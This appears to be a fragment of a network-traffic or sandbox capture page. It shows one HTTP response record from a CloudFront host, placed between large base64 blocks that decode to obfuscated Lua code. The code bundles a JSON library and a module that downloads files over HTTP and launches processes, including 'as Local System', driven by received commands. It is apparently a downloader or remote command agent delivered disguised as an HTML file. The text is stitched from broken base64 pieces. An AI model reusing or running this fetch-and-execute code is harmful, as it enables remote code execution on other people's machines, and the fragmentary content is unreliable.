dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d271zaccbgpi7o.cloudfront.net (54.192.15.13:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
17 | /v2/tfn5306351516.html(16) | text/html | tfn5306351516.html(16) | 200 OK | TEXT | 46.2 KB | 07/21/16 14:35:42 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
